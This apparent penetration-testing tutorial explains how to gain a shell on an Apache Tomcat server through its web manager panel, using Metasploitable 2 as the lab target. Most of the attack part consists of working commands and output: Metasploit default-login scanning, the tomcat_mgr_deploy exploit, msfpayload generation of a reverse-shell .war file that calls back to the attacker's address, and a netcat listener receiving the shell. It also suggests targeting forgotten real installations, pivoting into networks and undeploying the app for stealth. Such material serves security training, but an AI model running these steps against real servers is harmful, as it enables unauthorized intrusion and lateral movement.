Apache Tomcat has a feature where you can upload a package.  The package is a .war file that is essentially a Tomcat application.  If you can get to the administration panel and upload a bad application, then you can get command line on the box.

This attack is especially useful if you find a forgotten installation of Apache Tomcat that nobody bothered to take down.  Often times the credentials are obvious, and you can use this attack to pivot further into a network.

Setup Your Testbed

Metasploitable 2 already has an installation of Apache Tomcat running on port 8180.  Browsing to it will look like the following page:

 

Attack

How do you find a vulnerable host?

Most of the time, you’ll find Tomcat on port 8080 or sometimes just port 80.  Metasploitable’s is on port 8180.  If you are finding .jsp files, then there’s a good chance it is a Tomcat server.  You can also try the /admin or /manager/html directories.  The error page or HTML headers returned by the web server will also often say if it is Apache Tomcat.

Metasploit has a scanner under auxiliary/scanner/http/tomcat_mgr_login for default logins.  The scanner is pretty useful because it also contains a wordlist of default usernames and passwords for Apache Tomcat installs.  Tomcat doesn’t really have default usernames and passwords, but canned installs (such as xampp) do.  You can also manually try to login under the same links listed above.  Metasploitable 2 uses tomcat/tomcat.

How do you attack that host?

Metasploit can create a meterpreter payload and shovel it back to you.  You can either have metasploit do it all automatically for you (upload, run, then delete the .war file), or you can perform it a little more manually if you have a tricky system.  Below is the automatic way:

msf> use exploit/multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.1.5
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set PATH /manager/html
msf exploit(tomcat_mgr_deploy) > exploit

[*] Started reverse handler on 192.168.1.6:4444
[*] Using manually select target “Java Universal”
[*] Uploading 6458 bytes as Km5MZ65BrHrJ4m62.war …
[*] Executing /Km5MZ65BrHrJ4m62/zLVmnRURVMFIwJHGgJExDon2e6Hc.jsp…
[*] Undeploying Km5MZ65BrHrJ4m62 …
[*] Sending stage (30216 bytes) to 192.168.1.5
[*] Meterpreter session 1 opened (192.168.1.6:4444 -> 192.168.1.5:47057) at 2013-01-28 12:58:37 -0500

meterpreter > getuid
Server username: tomcat55

You may get the message “Exploit failed [no-target]: Unable to automatically select a target”.  Metasploit can normally tell what kind of system it is attacking, but on this particular exploit it seems to have a hard time with it.  A “show targets” will tell you what is available.  For Metasploitable 2, running “set TARGET 1” for Java Universal seems to work.  If you change it to anything else, you may need to change your payload to a compatible payload as well.

Now to do it in a bit more manual way, first you’ll want to create your payload (assuming your backtrack host is 192.168.1.6):

$ msfpayload java/shell/reverse_tcp LHOST=192.168.1.6 W > colesec.war
Created by msfpayload (http://www.metasploit.com).
Payload: java/shell_reverse_tcp
Length: 5480
Options: {“LHOST”=>”192.168.1.6”}

Now take that colesec.war file, and upload it as an application under the Tomcat Web Application Manager (that’s the /manager/html link) where it says WAR file to deploy:

 

After clicking “Deploy”, you should see /colesec in the list of applications.  Now you’ll want to start a netcat listener for your reverse shell connection:

$ nc -lvp 4444
listening on [any] 4444 …

Finally, access the backdoor file in the application you uploaded.  Then simply go to your bad application (http://192.168.1.5:8180/colesec/), and your netcat listener should suddenly get a hit.

$ nc -lvp 4444
listening on [any] 4444 …
connect to [192.168.1.6] from new-host-8.home [192.168.1.5] 34114
id
uid=110(tomcat55) gid=65534(nogroup) groups=65534(nogroup)

As a note, if you chose another payload (such as linux/x86/shell_reverse_tcp), you may have to go to a specific .jsp file in your application.  You can uncompress the .war file to figure out the random name of the .jsp file by uncompressing it with “jar -xvf colesec.war”.

Congrats, you’re in!  Now to improve stealthiness, you can “Undeploy” your colesec application on the Application Manager page, and you are done.